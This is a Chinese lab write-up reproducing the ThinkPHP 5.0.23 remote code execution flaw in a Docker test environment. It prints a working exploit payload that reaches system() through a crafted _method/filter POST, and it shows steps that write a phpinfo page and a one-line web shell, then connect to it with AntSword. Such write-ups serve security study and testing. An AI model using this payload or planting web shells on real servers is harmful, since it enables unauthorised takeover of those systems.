Lucky1youzi
Lucky1youzi

Thinkphp5.0.23 rce（远程代码执行）

01漏洞形成原因

  • 框架介绍：

ThinkPHP是一款运用极广的PHP开发框架。

  • 漏洞引入：

其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

02漏洞如何利用

  1. 访问靶机地址+端口号 进入首页

  1. bp抓包变更请求为POST，传入参数，其中pwd为系统执行命令可进行一系列操作

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

03漏洞复现过程

centos7启动docker 漏洞环境

Thinkphp5.0.23 rce（远程代码执行）_第1张图片

访问centos7的IP地址接上接上8080端口

Thinkphp5.0.23 rce（远程代码执行）_第2张图片

bp抓包变更请求为POST，传入参数

 /index.php?s=captch   ##URL后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd ##传入参数
Thinkphp5.0.23 rce（远程代码执行）_第3张图片

尝试写入phpinfo

echo "" > info.php
Thinkphp5.0.23 rce（远程代码执行）_第4张图片

写入一句话木马

echo '' > shell.php    #密码：aaa
Thinkphp5.0.23 rce（远程代码执行）_第5张图片

蚁剑连接

Thinkphp5.0.23 rce（远程代码执行）_第6张图片

你可能感兴趣的:(thinkphp,安全,web安全)

  • Java编程开发新手学习：数组方法的应用猜字母游戏 Java小辰
    Java是一种可以撰写跨平台应用软件的面向对象的程序设计语言。Java技术具有卓越的通用性、高效性、平台移植性和安全性，广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网，同时拥有全球最大的开发者专业社群。给你学习路线：html-css-js-jq-javase-数据库-jsp-servlet-Struts2-hibernate-mybatis-spring4-springmv
  • Java 快速入门 知识精简（1） Tangy范 Javajava开发语言
    语言特点特点一：面向对象俩个基本概念：类，对象三大特性：封装，继承，多态特点二：健壮性去掉了指针，内存的申请与释放提供了相对安全的内存管理和访问机制特点三：跨平台性由JVM负责Java程序在系统中的运行JVMforUNIXJVMforWindowsJVMforMac应用领域：JavaWeb开发后台开发大数据开发Android应用程序开发：客户端开发知识结构编程语言核心结构：主要知识点：变量、基本语
  • 防御Nginx负载均衡中的拒绝服务攻击：策略与实践 2401_85763639 nginx负载均衡运维
    拒绝服务攻击（DoS）和分布式拒绝服务攻击（DDoS）是网络安全的主要威胁之一，它们通过过载服务器资源或网络带宽，使得合法用户无法访问服务。Nginx作为一种流行的负载均衡器，提供了多种机制来帮助防御这类攻击。本文将详细介绍如何在Nginx负载均衡中配置和实施策略，以有效应对DoS/DDoS攻击。1.理解DoS/DDoS攻击DoS/DDoS攻击通过发送大量请求或利用服务的漏洞，耗尽服务器的处理能力
  • 浅谈信创浪潮下，职业院校人才培养有哪些新思路 武汉唯众智创 信息技术应用创新产业信创人才培养
    一、信创产业发展背景1.1国家战略意义信创产业，即信息技术应用创新产业，是国家战略发展的关键方向。近年来，在全球化的竞争和合作背景下，中国高度重视信息技术的自主创新能力，通过政策扶持、资金投入和市场引导等手段，促进了信创产业的快速发展。该产业不仅关系到国家信息安全，更是推动经济结构优化升级、实现高质量发展的重要力量。1.2技术自主可控需求随着科技的不断进步，信息技术已经渗透到社会的各个层面，对自主
  • 【网络安全协议】SSL/TLS、IPSec等网络安全协议的原理与应用 爱技术的小伙子 web安全ssl安全
    网络安全协议SSL/TLS、IPSec等网络安全协议的原理与应用1.引言随着互联网的迅速发展，网络安全的重要性日益凸显。网络安全协议是保护数据传输安全的关键技术，通过加密、身份验证和数据完整性等手段，防止数据在传输过程中被窃取或篡改。本文将深入探讨常见的网络安全协议，包括SSL/TLS、IPSec等，详细解释其工作原理及在实际应用中的使用方法。2.SSL/TLS协议2.1SSL/TLS的基本概念S
  • 做好当下的事 _德成
    为何写这个标题呢？因为曾经，很好一段时间，我是一个好高鹜远的人。好高骛远的人有一个特点，想象力丰富，也很美好，却无法面对当下的苟且。今天周末，又是集体会议的日子，因为集体承诺和迟到缺席重罚的规定，各班组长、分包商、开发商纷纷准时到场。会议的目的除了工程进度、安全、质量及各班组的协调，更重要的，是塑造团队精神，继续与央企的合作。会议在项目部会议室，看着围在会议桌旁张张黝黑的脸，陌生而熟悉。居中的两位
  • TLS连接的握手过程 aFakeProgramer #通信管理——COMTLS
    TLS（传输层安全协议）握手过程是客户端（如浏览器）和服务器（如网站）之间建立安全连接的一系列步骤。以下是TLS握手的详细过程：图片来自Vector1.客户端问候（ClientHello）：客户端向服务器发送“ClientHello”消息，包含支持的TLS版本、加密套件列表和一个随机数（ClientRandom）。2.服务器问候（ServerHello）：服务器回复“ServerHello”消息，
  • Spring Security 用户认证和授权管理 老友@ springjava后端springbootmybatis
    文章目录一、介绍1、简介2、核心概念3、主要功能4、处理流程二、SpringSecurity实现权限1、添加依赖2、执行顺序和代码执行流程（1）用户登录（2）访问受保护资源总结1、用户登录2、访问受保护资源完整源码一、介绍1、简介SpringSecurity是一个强大的安全框架，旨在保护基于Spring的应用程序。它提供了一整套全面的安全功能，包括认证、授权、以及防护常见安全攻击的机制。2、核心概
  • 比特币区块链为保证安全，每天花费约700万美元 c83dac8b2e4a
    猜得到吗？为了保证安全，比特币区块链每天的花费将近700万美元。周一，加密货币数据门户网站Screener发布了一份报告，列出了支付给比特币矿工的收入。Screener的数据从代币的新发行量和交易费用入手，最终发现比特币在所有PoW资产中的产出最多。每24小时就可以发行价值739.2万美元的比特币，并支付超过11.5万美元的挖矿费用。相比之下，以太坊的日发行量相较于比特币少6倍左右，约为价值185
  • 真正优秀的人大多不合群！ 女子依亭
    从小到大，我们都被教育要融入集体，在任何场合，只要不合群就是不得体。于是拼了命的和周围的人打成一片，削尖脑袋钻进别人的圈子。很多人都为自己的“不合群”担忧过。怀疑自己是过于内向或者孤独感太强。其实并不是你过于孤僻，而是你在成长的过程中逐渐学会了与孤独相处。在蛮荒时代，个体需要群体给予生存保护和安全感，可生在现代社会，每个人都有自己的个性、习惯、梦想和幸福，爱好不同、追求不同、价值观不同、圈子不同，
  • 中原焦点团队网中27期王莹莹坚持第138天分享20210809 alllllllllllll
    本周第1次，第6期第16次，总第33次，观察员有时候咨询可能真的不需要咨询师做太多，默默地陪伴，给来访者一个可倾诉的安全空间才是最重要的。来访者在一个安全的空间，把自己想说的都说出来，这本身不仅是是情绪宣泄，而且也是思考。同时这也是对咨询师的一个考验，看咨询师能不能稳住，能否有这个耐心去倾听，听的过程中会不会有自己的预设！今天来访者开阔了我的眼界，我一直想了解的青少年性教育也有了突破口，安排上！复
  • 我了解的四川美味麻辣香锅 小补文知
    在一个偶然的机会，看到了麻辣香锅这道菜，当时确实被这道菜的名字吸引了，作为一个四川人，还是一个超级喜欢吃的四川人，就是了解了下。要说为什么选择这才好麻辣香锅，原因有很多方面，第一，这才好麻辣香锅是一款既方便快捷，又兼具品质和风味的美食。食材经过精心挑选，荤素搭配，追求“低脂”健康饮食特点。麻辣鲜香，健康安全。其次，所有底料都保留了传统的正宗味道，采用传统秘制麻辣香锅油辣子，香锅底料辣椒，微辣且香，
  • 重新定义失败 Real_man
    长大之后，很多人都害怕失败，掩盖失败，只把自己光鲜亮丽的一面展示出来，对犯过的错误视而不见，这当时会让我们心里好受一点，自我感受做的还不错。不过这带来了一个问题，那就是我们进步的速度将会大大降低。失败是学习的途径，有时可能是唯一的途径，科研中，错误指明了理论的改革方向，体育运动中，错误为训练指明了改进的模板，航空界，每次事故都是推进系统安全的机会。有一个科学实验：分为两组学生，分别给一些题目和课程
  • Nginx中间件配置 message丶小和尚 中间件nginx中间件运维
    Nginx中间件配置概要相关内容技术细节链接概要用于Linux服务器，Nginx中间件搭建。相关内容配置涵盖域名配置，TLS配置，及配置安全的加密算法，处理跨域问题，请求头问题等技术细节nginx.conf配置文件userroot;worker_processes2;error_log/var/log/nginx/error.logwarn;pid/var/run/nginx.pid;events
  • 李蕊中原焦点团队网络中级第27期，坚持分享第117天，2021年8月14日第六期挑战约练第6周第4、5次总第35次 淡淡的感觉
    第4场角色：观察员全心的陪伴与倾听，给来访者以安全的环境，让其充分表达，讲述的过程即可促使来访者疏理与思考。适时并精准的总结与回馈，给来访者被理解与尊重的感受，正向促进。不论来访者的话题如何繁杂，一句＂今天更想聊的是什么？＂琐定目标。对于个人成长，需持续学习。第5场角色：咨询师来访者为准大学生，线下进行。因为关系建立较好，在愉快地情绪中开始，以B0X练习问句做骨干。结束后反馈：思考了很多以前从未思
  • 身份验证技术应用10大关键趋势 uncle_ll 风控反欺诈网络安全风控身份验证
    身份验证是现代企业网络安全的基石，确保只有经过授权的用户或实体才能访问敏感信息或系统。近年来，身份验证技术取得了显著进展，如无密码身份验证、多因素身份验证和社交验证登录等新兴技术不断涌现，正在重塑传统身份验证的方式和模式，提升企业在数字化转型中的安全性和稳定性。对于企业来说，了解并跟上身份验证技术的发展至关重要。这不仅可以保护数据和系统，还能提升员工的工作体验。以下是可能在未来几年主导身份验证技术
  • Rust简介、安装指南 陪倩碎碎念 rust开发语言后端
    一、Rust简介Rust是一种由Mozilla开发的系统级编程语言，自2010年首次公开发布以来，因其高性能、并发性、安全性以及开发人员友好的语法而备受瞩目。Rust的设计旨在解决传统系统级编程语言的常见问题，同时提供卓越的开发体验。以下是Rust的主要特点及其适用领域的详细阐述：特点：1.安全性：Rust的安全性体现在其独特的内存管理模型上。通过引入所有权和借用规则，Rust在编译时即能预防内存
  • 学习心得（四） 唯美的爱恋
    帮助孩子自我肯定：自我肯定的人，将倾向于友善，并富有冒险性，缺乏自我肯定的人倾向于怀有敌意、闭锁、不友善、建立自尊的三个要素：归属的安全感来自稳固的家庭生活。学习感恩：孩子最初会观察父母的相处关系，我们必须依孩子的年龄让他们自由表达感谢的方式，真正的感恩不是被要求出来的。激发孩子的创造力：每个孩子都有创造力，他们与生俱来就是具有创造力的人，要肯定孩子的能力，勇于让他们犯错，付出少许的关心和计划。我
  • 重塑互联网生态：探索Web 3.0、大数据与隐私保护的新篇章 Thanks_ks IT洞察集Web3.0去中心化隐私保护技术大数据智慧引擎互联网生态重塑智能合约与DA数据安全与法规未来互联网展望
    目录引言：互联网的新纪元Web3.0：去中心化的乌托邦愿景1.去中心化架构的崛起2.智能合约与自治组织的兴起3.用户体验与创新的飞跃大数据：驱动未来的智慧引擎1.数据海洋的挖掘与利用2.数据安全与隐私保护3.人工智能与大数据的融合隐私保护：构建信任的基石1.用户数据权益的觉醒2.隐私保护技术的创新3.构建可信的互联网环境结语：展望未来引言：互联网的新纪元随着互联网技术的日新月异，我们正迈入一个全新
  • 什么是Rust语言？探索安全系统编程的未来 教IT的小王A rust安全开发语言
    什么是Rust语言？探索安全系统编程的未来![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/d97f3326d31b4e45a4d44610f950aacf.png)文章目录*什么是Rust语言？探索安全系统编程的未来*摘要引言正文*Rust语言简介发展历程Rust的技术意义和优势Rust解决的问题详细代码示例和操作命令QA环节小结参考资料表格总结本文
  • 手机实名认证接口的多种分类 挖数据 入网时长实名认证手机二要素智能手机大数据数据库
    手机实名认证接口主要分为以下几种类别：一、基础验证类手机二要素验证：功能：此接口主要用于验证用户提交的姓名和手机号码是否一致。应用场景：较多的用于安全等级一般的场景，如普通注册、登录验证等。数据来源：通过接入三大运营商（移动、联通、电信）的实时数据库进行验证。手机三要素验证：功能：此接口进一步增加了身份证号码的验证，即同时验证用户提交的姓名、手机号码及身份证号码是否一致。应用场景：较多的用于安全等
  • 话费接口API对接流程是什么？又有哪些优势？ 三十一号鼓手 lispintellijideajavaopentsdb大数据
    话费接口API对接流程前期准备找一家专业做话费充值的公司，联系其商务了解对接的具体情况，包括合作模式、话费价格、消耗及打款金额是否可以开票、对接时是否有技术配合等开户与对接确定合作后在话费充值平台进行开户，获取账户参数及接口文档开始对接接口测试对接完成后进行接口测试，测试成功后可正式提交话费进行充值话费接口API优势充值范围可自动配置，支持三大运营商的话费充值话费充值安全稳定性有保障，基础硬件设施
  • LabVIEW水泵机组监控系统 LabVIEW开发 LabVIEW开发案例labview水泵
    介绍了一种基于LabVIEW的水泵机组智能监控系统。该系统结合先进的传感器和数据采集技术，实时监控水泵机组的运行状态，有效预防故障，提高运行效率。通过LabVIEW平台的集成开发环境，系统实现了高效的数据处理和友好的用户界面。项目背景水泵机组在工业生产中具有重要地位，其运行效率和安全性直接影响到生产成本和安全生产。传统的监控系统通常反应迟缓，信息不够准确。为了确保水泵机组的稳定运行，开发一个实时、
  • 备份程序（Restic） deepdata_cn 数据工具备份程序
    Restic：支持Linux、macOS和Windows等操作系统，是一个快速、安全的开源备份程序。Restic最初是由开发者MichaelEischer发起的个人项目。其设计目标是提供一种快速、高效、安全且开源的备份解决方案，以满足不同用户和场景对数据备份的需求。在项目早期，Restic专注于核心功能的开发和完善，包括备份与恢复机制的构建、数据加密算法的选择与实现等。通过不断优化代码和算法，Re
  • 沟通力学习第九天：良好的沟通状态应关注自己的需要 HelloCara
    【题目】沟通力学习第九天：良好的沟通状态应关注自己的需要【字数】7611.必修：学有所获①复盘前七天：沟通的本质（基本原理）与雷区；高效沟通的秘笈沟通的本质是尊重与合作。-平衡自己和他人的需要-先处理情绪再处理信息沟通的雷区：奖惩式和失去自我。-高效沟通的秘笈-不忘初心（目标）-看到所有行为背后的需要（需求）-营造安全的沟通环境（工具）②打破思维惯性的方法：自始至终寻找联结，维护对方的安全感。塑造
  • web3.0中使用的前端开发 alankuo 人工智能人工智能
    在Web3.0中，前端开发有一些新的特点和技术应用：一、技术栈1.编程语言：-JavaScript/TypeScript：仍然是主流的前端开发语言。用于构建交互式用户界面和与区块链节点进行交互。例如，使用TypeScript可以提供更好的类型安全和代码可读性，在处理复杂的Web3应用逻辑时非常有帮助。-Solidity：虽然主要用于智能合约开发，但前端开发人员也需要了解一些Solidity知识，以
  • 【区块链 + 物联网】长虹智能家居跨平台互联方案 | FISCO BCOS应用案例 FISCO_BCOS 2023FISCOBCOS产业应用发展报告物联网区块链
    据报道，全球物联网终端设备数量预计在10年内将达数百亿规模。届时人均拥有的设备数将达到两位数，这个数值还会不断增长。设备间的协同互联，会显得越来越重要。现在智能家居虽然能实现联网，设备也很智能，但是设备之间却是没连接的。在设备之间互联，主要的问题是安全和信任，用户跟设备之间的关系，设备跟设备之间的关系，需要认证授权等机制来保护。为了解决物联网里多平台多终端共存问题、实现设备间联动、优化用户体验，长
  • 中小企业职场性骚扰隔离指南 情绪之外
    工作场所应该是所有员工舒适，安全的环境。不幸的是，情况并非总是如此。虽然这不是最容易讨论的话题，但您必须立即解决性骚扰问题。为了创造积极，尊重的工作场所文化，您的企业应制定并实施全面的反骚扰政策。该政策应包含在员工手册中，并在整个工作场所中突出显示。SHIFT人力资源合规培训的联合创始人KatherinNukk-Freeman说：“那些不会根据性骚扰政策传达可接受和不可接受的雇主的雇主不能指望员工
  • 忘记 iPhone 密码：如果忘记密码，如何解锁 iPhone Geeker55 手机解锁解锁屏幕锁iphoneios算法androidmacos电脑objective-c
    为了提高个人数据的安全性，用户通常会为不同的帐户和设备创建不同的复杂密码。虽然较新的iPhone型号具有生物识别和面部解锁功能，但这些功能并不总是有效-如果您忘记了iPhone的密码，您可能会遇到麻烦。iPhone用户和Android用户一样，可能会忘记密码，从而难以访问手机。Android用户可以解锁Android手机密码，而不会丢失数据。iPhone用户也一样。尝试几次失败后，屏幕上会显示“i
  • 如何在没有密码或Face ID的情况下解锁iPhone Geeker55 屏幕锁iPhone手机解锁iphoneiosandroidwindowsmacos智能手机手机
    iPhone是一款以其一流的安全功能而闻名的设备，包括面容ID和密码。但是，你有没有想过，如果没有这些安全措施，你是否可以解锁iPhone？无论您是忘记了密码，FaceID不起作用，还是只是对其他方法感到好奇，本指南都将帮助您在没有密码或FaceID的情况下解锁iPhone。如何在没有密码或FaceID的情况下解锁iPhone丢失智能手机密码和遇到FaceID拒绝是一个常见问题。但不要害怕！如果您
  • Java实现的简单双向Map，支持重复Value superlxw1234 java双向map
    关键字：Java双向Map、DualHashBidiMap     有个需求，需要根据即时修改Map结构中的Value值，比如，将Map中所有value=V1的记录改成value=V2，key保持不变。   数据量比较大，遍历Map性能太差，这就需要根据Value先找到Key，然后去修改。   即：既要根据Key找Value，又要根据Value
  • PL/SQL触发器基础及例子 百合不是茶 oracle数据库触发器PL/SQL编程
      触发器的简介; 触发器的定义就是说某个条件成立的时候，触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用，也不能调用。触发器和过程函数类似 过程函数必须要调用,   一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行, 触发时间：指明触发器何时执行，该值可取： before：表示在数据库动作之前触发
  • [时空与探索]穿越时空的一些问题 comsci 问题
          我们还没有进行过任何数学形式上的证明,仅仅是一个猜想.....       这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理
  • easy ui datagrid上移下移一行 商人shang js上移下移easyuidatagrid
    /** * 向上移动一行 * * @param dg * @param row */ function moveupRow(dg, row) { var datagrid = $(dg); var index = datagrid.datagrid("getRowIndex", row); if (isFirstRow(dg, row)) {
  • Java反射 oloz 反射
    本人菜鸟，今天恰好有时间，写写博客，总结复习一下java反射方面的知识，欢迎大家探讨交流学习指教 首先看看java中的Class package demo; public class ClassTest { /*先了解java中的Class*/ public static void main(String[] args) { //任何一个类都
  • springMVC 使用JSR-303 Validation验证 杨白白 springmvc
    JSR-303是一个数据验证的规范，但是spring并没有对其进行实现，Hibernate Validator是实现了这一规范的，通过此这个实现来讲SpringMVC对JSR-303的支持。 JSR-303的校验是基于注解的，首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。 登录需要验证类 public class Login { @NotEmpty
  • log4j 香水浓 log4j
    log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE #log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML #console log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender log4
  • 使用ajax和history.pushState无刷新改变页面URL agevs jquery框架Ajaxhtml5chrome
    表现 如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时，细心的你会发现页面之间的点击是通过ajax异步请求的，同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。 是什么有这么强大的功能呢？ HTML5里引用了新的API，history.pushState和history.replaceState，就是通过
  • centos中文乱码 AILIKES centosOSssh
    一、CentOS系统访问 g.cn ，发现中文乱码。 于是用以前的方式：yum -y install fonts-chinese CentOS系统安装后，还是不能显示中文字体。我使用 gedit 编辑源码，其中文注释也为乱码。       后来，终于找到以下方法可以解决，需要两个中文支持的包： fonts-chinese-3.02-12.
  • 触发器 baalwolf 触发器
    触发器(trigger)：监视某种情况，并触发某种操作。 触发器创建语法四要素：1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete) 语法： create trigger triggerName after/before 
  • JS正则表达式的i m g bijian1013 JavaScript正则表达式
            g:表示全局（global)模式，即模式将被应用于所有字符串，而非在发现第一个匹配项时立即停止。         i:表示不区分大小写（case-insensitive）模式，即在确定匹配项时忽略模式与字符串的大小写。         m:表示
  • HTML5模式和Hashbang模式 bijian1013 JavaScriptAngularJSHashbang模式HTML5模式
            我们可以用$locationProvider来配置$location服务（可以采用注入的方式，就像AngularJS中其他所有东西一样）。这里provider的两个参数很有意思，介绍如下。 html5Mode         一个布尔值，标识$location服务是否运行在HTML5模式下。 ha
  • [Maven学习笔记六]Maven生命周期 bit1129 maven
    从mvn test的输出开始说起   当我们在user-core中执行mvn test时，执行的输出如下：   /software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs
  • 【Hadoop七】基于Yarn的Hadoop Map Reduce容错 bit1129 hadoop
    运行于Yarn的Map Reduce作业，可能发生失败的点包括 Task Failure Application Master Failure Node Manager Failure Resource Manager Failure 1. Task Failure 任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A
  • 记一次数据推送的异常解决端口解决 ronin47 记一次数据推送的异常解决
    　　 需求：从db获取数据然后推送到B         程序开发完成，上jboss,刚开始报了很多错，逐一解决，可最后显示连接不到数据库。机房的同事说可以ping 通。 　　  自已画了个图，逐一排除，把linux 防火墙　和　setenforce　设置最低。 　　　service iptables stop
  • 巧用视错觉-UI更有趣 brotherlamp UIui视频ui教程ui自学ui资料
    我们每个人在生活中都曾感受过视错觉（optical illusion）的魅力。 视错觉现象是双眼跟我们开的一个玩笑，而我们往往还心甘情愿地接受我们看到的假象。其实不止如此，视觉错现象的背后还有一个重要的科学原理——格式塔原理。 格式塔原理解释了人们如何以视觉方式感觉物体，以及图像的结构，视角，大小等要素是如何影响我们的视觉的。 在下面这篇文章中，我们首先会简单介绍一下格式塔原理中的基本概念，
  • 线段树-poj1177-N个矩形求边长（离散化+扫描线） bylijinnan 数据结构算法线段树
    package com.ljn.base; import java.util.Arrays; import java.util.Comparator; import java.util.Set; import java.util.TreeSet; /** * POJ 1177 (线段树+离散化+扫描线)，题目链接为http://poj.org/problem?id=1177
  • HTTP协议详解 chicony http协议
    引言                                 
  • Scala设计模式 chenchao051 设计模式scala
    Scala设计模式                我的话： 在国外网站上看到一篇文章，里面详细描述了很多设计模式，并且用Java及Scala两种语言描述，清晰的让我们看到各种常规的设计模式，在Scala中是如何在语言特性层面直接支持的。基于文章很nice，我利用今天的空闲时间将其翻译，希望大家能一起学习，讨论。翻译
  • 安装mysql daizj mysql安装
    安装mysql   (1)删除linux上已经安装的mysql相关库信息。rpm  -e  xxxxxxx   --nodeps (强制删除)      执行命令rpm -qa |grep mysql 检查是否删除干净   (2)执行命令  rpm -i MySQL-server-5.5.31-2.el
  • HTTP状态码大全 dcj3sjt126com http状态码
    完整的 HTTP 1.1规范说明书来自于RFC 2616，你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性，因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端，支持协议版本可以通过调用request
  • asihttprequest上传图片 dcj3sjt126com ASIHTTPRequest
    NSURL *url =@"yourURL"; ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url]; [currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se
  • C语言中，关键字static的作用 e200702084 C++cC#
    在C语言中，关键字static有三个明显的作用： 1)在函数体，局部的static变量。生存期为程序的整个生命周期，（它存活多长时间）；作用域却在函数体内（它在什么地方能被访问（空间））。 一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区，函数调用结束后并不释放单元，但是在其它的作用域的无法访问。当再次调用这个函数时，这个局部的静态变量还存活，而且用在它的访
  • win7/8使用curl geeksun win7
    1.  WIN7/8下要使用curl，需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。 下载地址：  http://curl.haxx.se/download.html 请选择不带SSL的版本，否则还需要安装SSL的支持包   2.  可以给Windows增加c
  • Creating a Shared Repository; Users Sharing The Repository hongtoushizi git
    转载自：   http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/ Commands discussed in this section: git init –bare git clone git remote git pull git p
  • Java实现字符串反转的8种或9种方法 Josh_Persistence 异或反转递归反转二分交换反转java字符串反转栈反转
    注：对于第7种使用异或的方式来实现字符串的反转，如果不太看得明白的，可以参照另一篇博客： http://josh-persistence.iteye.com/blog/2205768   /** * */ package com.wsheng.aggregator.algorithm.string; import java.util.Stack; /**
  • 代码实现任意容量倒水问题 home198979 PHP算法倒水
    形象化设计模式实战             HELLO!架构                     redis命令源码解析   倒水问题：有两个杯子，一个A升，一个B升，水有无限多，现要求利用这两杯子装C
  • Druid datasource zhb8015 druid
    推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证，稳定可靠。 它最重要的特点是：监控、扩展和性能。 下载和Maven配置看这里： http
  • 两种启动监听器ApplicationListener和ServletContextListener spjich javaspring框架
    引言:有时候需要在项目初始化的时候进行一系列工作，比如初始化一个线程池，初始化配置文件，初始化缓存等等，这时候就需要用到启动监听器，下面分别介绍一下两种常用的项目启动监听器   ServletContextListener  特点: 依赖于sevlet容器，需要配置web.xml 使用方法: public class StartListener implements
  • JavaScript Rounding Methods of the Math object 何不笑 JavaScriptMath
        The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(),  Math.floor(), and  Math.round() — handle rounding in differen
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他